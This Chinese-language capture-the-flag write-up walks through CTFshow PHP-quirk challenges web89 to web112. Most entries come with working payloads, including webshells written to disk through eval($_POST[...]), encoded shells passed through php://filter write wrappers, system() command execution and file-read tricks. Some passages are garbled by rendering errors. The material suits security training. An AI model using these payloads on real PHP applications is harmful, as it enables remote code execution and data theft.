web入门 PHP特性篇的wp都一把梭哈在这里啦~
有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭…
有错误敬请斧正!
CTFshow PHP web89
看题目,有个flag.php文件。题目要求get有个num,是数字但是不包含0-9。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 。 故此传入?num[]=1,产生错误返回1。 并且preg_math()传入数组参数也会直接返回0
preg_math()传入数组参数也会直接返回0
这边顺带提一下:有时候sql的注入点为.php?id=1,如果修改为.php?id[]=2页面和之前一样,则大概率后台是: i d = i n t v a l ( id=intval(id=intval(_GET[‘id’]);有时候加上单引号后页面不变化也是因为这个原因,这就很难逃逸了。
CTFshow PHP web90
先看题目,要求get一个num,值不等于4476并且intval之后等于4476
首先可以利用弱比较,?num=4476a不满足===,并且intval之后为4476
也可以/?num=4476.1
还可以/?num=0x117c
说明一下intval()函数性质:
①intval():可以获取变量的整数值
②int intval ( mixed var[,intvar [, int base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base为空,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
- 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
- 否则,将使用 10 进制 (decimal)。
CTFshow PHP web91
先解释一下 preg_match(‘/^php和表示匹配大小写,表示多行匹配,行首元字符仅匹配字符串的开始位置,而行末元字符/im′,a)和pregmatch(′/phpa)/i表示匹配大小写,/m表示多行匹配,"行首"元字符()仅匹配字符串的开始位置∗∗,∗∗而"行末"元字符(/im’, a ) 和 p r e g m a t c h ( ′ / p h p a)/i表示匹配大小写,/m表示多行匹配 , "行首"元字符 (^) 仅匹配字符串的开始位置**, **而"行末"元字符 () 仅匹配字符串末尾,字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true 。
是要求我们多行匹配到php但是单行匹配不到php。
payload:?cmd=%0aphp // %0a表示换行符
CTFshow PHP web92
int intval ( mixed var[,intvar [, int base = 10 ] ) 参数说明:
:要转换成的数量值。var:要转换成integer的数量值。var:要转换成 integer 的数量值。 base:转化所使用的进制。
如果 base为空,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
- 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
- 否则,将使用 10 进制 (decimal)。
根据这个性质可以构造payload:
?num= 0x117c
或者
intval()中有一个特性,其中若传入1e4,准确的值为10000,但是经过intval(‘1e4’)后,输出的值为1
根据这个性质可以构造payload:
?num=4476e1
CTFshow PHP web93
先看题目,num不能有字母,然后满足两个条件。所以不能用科学计数法了。
int intval ( mixed var[,intvar [, int base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base为空,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
- 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
- 否则,将使用 10 进制 (decimal)。
例子:intval($NSScTf, 0) === 114514
通过十六进制的0x1BF52以及八进制的0337522都可以绕过
payload:
?num=010574 //八进制 ?num=4476.123 //取整
CTFshow PHP web94
先看题目,多了一个 !strpos($num, “0”) , strpos() 函数查找字符串在另一字符串中第一次出现的位置 ,这里要求是第一个字符不是0,其他和上题一样,可用4476.0绕过,或者在八进制前面加空格,或者 ?num=+4476 。
- strpos() -函数查找字符串在另一字符串中第一次出现的位置。
- stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
- strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
- strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
payload:
?num=4476.0 ?num= 010574 ?num=+4476.0
CTFshow PHP web95
先看题目,和上题相比过滤了小数点,第一个强比较换成了弱比较(==)。
payload:
?num= 010574 ?num=+010574
CTFshow PHP web96
先看题目,要求u不弱等于flag.php,然后高亮u。可以推断出,flag在当前目录下的flag.php文件中。
payload:
?u=../html/flag.php ?u=./flag.php //相对路径, ./表示在当前目录下 ?u=php://filter/convert.base64-encode/resource=flag.php //伪协议 ?u=php://filter/resource=flag.php //伪协议 ?u=/var/www/html/flag.php //绝对路径
CTFshow PHP web97
先看题目,要求我们POST两个东西,MD5强相等。
payload:
a[]=17&b[]=17 //数组 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 &b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 //强碰撞
CTFshow PHP web98
考察PHP三元运算符,开局给源码
分析代码
<?php include("flag.php"); //只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址) $_GET?$_GET=&$_POST:'flag'; //没有用 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; //如果get进来的HTTP_FLAG值是flag,那么输出$flag,要不然输源码 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); ?>
既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了
payload
?HTTP_FLAG=随便输 //GET HTTP_FLAG=flag //POST
CTFshow PHP web99
先看题目,
$allow = array(); //把allow变量设置为数组。
- array_push() - 向数组尾部插入一个或多个元素。
- in_array() - 搜索数组中是否存在指定的值。函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==)比如数组含有,allow含有1,inarray(1.php,allow含有1,in_array(1.php, allow)为真。
引用一下羽师傅的文章
$allow = array(1,'2','3'); var_dump(in_array('1.php',$allow)); 返回的为true $allow = array('1','2','3'); var_dump(in_array('1.php',$allow)); 返回false //in_array延用了php中的==
file_put_contents(文件名,写入的数据,mode,context)
payload:
?n=1.php //GET,随机数插入数组,1-36(1.php-36.php)的可能性最大,如果不成功多试几次。 content=<?php eval($_POST[jay17]);?> //POST,也可以直接写命令RCE
CTFshow PHP web100
开题给源码。
很多师傅像我当时一样,看到下面这一句就不会了。认为v1、v2、v3都得是数字。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
这里考察了=和and的优先级,&&>||>=>and>or
所以只需要v1是数字就行了。
接下来两个正则表达式要求v2没有分号,v3有分号。
if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } }
payload如下:
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/; //利用注释 ?v1=1&v2=system('tac ctfshow.php')&v3=; //直接打也行 ?v1=1&v2=echo new ReflectionClass&v3=; //使用反射类直接输出class ctfshow的信息 ?v1=1&v2=var_dump($ctfshow)&v3=; //因为这个flag在ctfshow这个类中,直接打印变量
$flag_is_25bad9b00x2d9c110x2d48a80x2daa270x2d1771e2404db9
25bad9b00x2d9c110x2d48a80x2daa270x2d1771e2404db9把0x2d转化为-,再包上ctfshow。
CTFshow PHP web101
开题给源码
滤比上一题严了
payload:(只有一个能用)
?v1=1&v2=echo new ReflectionClass&v3=; //使用反射类直接输出class ctfshow的信息
CTFshow PHP web102
开题直接给源码
函数解析:
substr():返回字符串的子串,题中意思是返回v2字符串第2位开始的字串
call_user_func():把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。
file_put_contents(): 将一个字符串(s t r )写入文件( str)写入文件(str)写入文件(v3)
由此我们可以构造payload:
?v2=0x3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e&v3=x.php //GET v1=hex2bin //POST
hex2bin:参数只有一个,将传入的参数(16进制转换为ascii字符)
hex2bin(3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e)
就是一句话
但是有个什么问题:
var_dump(is_numeric("0x66"));// 在php5中返回值为true var_dump(is_numeric("0x66"));// 在php7中返回值为false
但是本题的环境是php7
所以换一种方法
利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:
$a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
payload:(v2前两个1只是为了占位)
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php //GET //str=PD89YGNhdCAqYDs(<?=`cat *`; 的base64编码) v1=hex2bin //POST
然后访问x.php去触发就可以了
CTFshow PHP web103
直接给了源码
和上一题相比,加了一段过滤代码
if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); }
我寻思着,之前的payload也没字符串"php"啊。
所以payload不变:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php //GET //str=PD89YGNhdCAqYDs(<?=`cat *`; 的base64编码) v1=hex2bin //POST
CTFshow PHP web104
直接给了源码
if(sha1(v1)==sha1(v1)==sha1(v2))判断过了就给flag
sha1和MD5一样可以数组绕过
payload:
?v2[]=1 //GET v1[]=2 //POST
也可以弱碰撞
aaK1STfY //0e76658526655756207688271159624026011393 aaO8zKZF //0e89257456677279068558073954252716165668
CTFshow PHP web105
源码直接给了
GET的变量名字不能等于error,POST的变量值不能等于flag
这题的考点是PHP变量覆盖。
方法一:
用die($error);输出flag
此时,POST进来的flag变量值不等于flag。
payload:
?suces=flag //GET error=suces //POST
方法二:
用die($suces);输出flag
要是不在die(终止,那么进来的一定等于error);终止,那么POST进来的flag一定等于error);终止,那么POST进来的flag一定等于flag
我们做不到直接知道flag是多少,POST一个flag=ctfshow{什么什么}
由于变量覆盖,我们可以GET一个flag= 把程序中的$flag变量赋值为空
payload:
?suces=flag&flag= //GET //啥都不POST
或者
?suces=flag&flag= //GET flag= //POST
此时用die($suces);输出flag
不可能方法:
如果只用echo "your are good".$flag输出flag,不可能
因为这种方法我不能动f l a g 的值,根据方法二,我过不了 ‘ d i e ( flag的值,根据方法二,我过不了`die(flag的值,根据方法二,我过不了‘die(error)`语句。
CTFshow PHP web106
web104的payload直接打
CTFshow PHP web107
parse_str():
parse_str()名称改写
题目要我们POST一个v1,GET一个v3
核心思想我们用0e绕过
payload:
?v3=s878926199a //GET v1=flag=0 //POST
0e开头的md5和原值: QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
有个师傅的payload我属实看不懂:
?v3[]=1 //GET v1[]=2 //POST
CTFshow PHP web108
ereg():正则表达式匹配
strrev():反转字符串
intval():获取变量的整数值
ereg (“1+”,”, _GET[‘c’])匹配只包含字母(大小写)的字符串
36d的十六进制是877
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
?c=a%00778
CTFshow PHP web109
preg_match('/[a-zA-Z]+/', v1) && preg_match('/[a-zA-Z]+/',v1) && preg_match('/[a-zA-Z]+/',v1) && preg_match('/[a-zA-Z]+/', v2)
v1和v2只要有字母就行。
eval("echo new v1(v1(v2());")
这里new了一个什么什么,很容易往类这方面想。这道题用到了
Exception:所有异常的基类
CachingIterator:此对象支持在另一个迭代器上进行缓存迭代
ReflectionClass:反射类。
ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作。
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示。也有师傅的博客说是因为echo触发了类中__toString()魔术方法。
即使传入了空的括号system(),代码依旧可以运行,且error_reporting(0)的存在阻止了报错。
payload:
?v1=Exception&v2=system('tac fl36dg.txt') ?v1=ReflectionClass&v2=system('tac fl36dg.txt') ?v1=CachingIterator&v2=system('tac fl36dg.txt')
【存疑】 这几个类下次还得细细学一下
CTFshow PHP web110
和上一题差不多,但是正则匹配换了一下。
preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1) ""\\\\"表示匹配一个"\"
正则表达式表示v1和v2必须包含这些符号。带入程序则是,v1、v2不能包含这些符号,否则die出程序。所以我们要RCE,v1、v2只能全是字母。
之前的payload用不了了,但是可以用之前的payload查看phpinfo
?v1=Exception&v2=phpinfo
这题的考点:php内置类
DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类
getcwd():函数取得当前工作目录
getcwd():函数取得当前工作目录
payload:
?v1=FilesystemIterator&v2=getcwd
得到当前目录的第一个文件名字:fl36dga.txt,然后直接访问。
缺陷:只能获取第一个文件名字,但是题目中正好只要第一个文件的名字就够了。
CTFshow PHP web111
正则匹配过滤和上题一样。但是v1还需要包含"ctfshow"字符串。
分析一下题中getFlag()函数的作用:
//取v1和v2的地址(传址引用),所以函数内部对参数的修改会影响到外部变量 function getFlag(&$v1,&$v2){ // $v1 和 $v2 的值作为变量名进行间接引用,变量v2将地址传给了变量v1,即两个变量指向同一个地址。 eval("$$v1 = &$$v2;"); //用于打印变量的详细信息 var_dump($$v1); }
考点:php超全局变量$GLOBALS
$GLOBALS:引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
可看到题中有include("flag.php");,猜测flag.php中有变量存储了flag。
因为最后var_dump($$v1);会把变量
v 1 打印出来,让变量 v1打印出来,让变量
v1打印出来,让变量
v1指向flag.php中存储了flag的变量我们就能获得flag。但是我们并不知道存储了flag的变量的名称,所以我们这里的目标是获得所有的变量,即全局变量$GLOBALS。
所以我们的目的是var_dump(G L O B A L S ) ,倒推一下, ‘ e v a l ( " GLOBALS),倒推一下,`eval("GLOBALS),倒推一下,‘eval("KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲v 2 ; " ) ; ‘ 这里,我们传参要使得这句语句变成 ‘ e v a l ( " v2;");`这里,我们传参要使得这句语句变成`eval("v2;");‘这里,我们传参要使得这句语句变成‘eval("KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲GLOBALS;");`。
所以我们传入的v2=GLOBALS。
v1只要包含"ctfshow"字符串就行了。
payload:
?v1=xxxctfshowxxx&v2=GLOBALS
CTFshow PHP web112
分析一下代码:
function filter($file){ //满足正则就die出,不满足正则原样输出 if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } //GET传参进来一个file变量 $file=$_GET['file']; //函数检查指定的文件名是否是正常的文件。判断file变量的类型是不是文件 if(! is_file($file)){ //高亮显示file变量的值对应的那个文件 highlight_file(filter($file)); }else{ echo "hacker!"; }
看他的正则过滤就知道了需要用伪协议。伪协议不影响file_get_contents,和highlight_file。
我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。
data、input伪协议被过滤,那么还剩下php://filter和file:// 伪协议
rot13、base64、string字符串被过滤,那么php://filter伪协议还剩下这些过滤器:
也可以直接用不带任何过滤器的filter伪协议
?file=php://filter/resource=flag.php
也可以读取压缩流
?file=compress.zlib://flag.php
进一步学习:可以查看一下php手册学习一个各个协议。
引用一下大佬博客:(5条消息) ctfshow学习记录-web入门(php特性109-115&123&125-126)_ctfshow web125_九枕的博客-CSDN博客
file协议不能绕过is_file的判断。 http协议需要公网ip。 glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。
Ctfshow web入门 PHP特性篇 web89-web151 全(二):https://developer.aliyun.com/article/1585258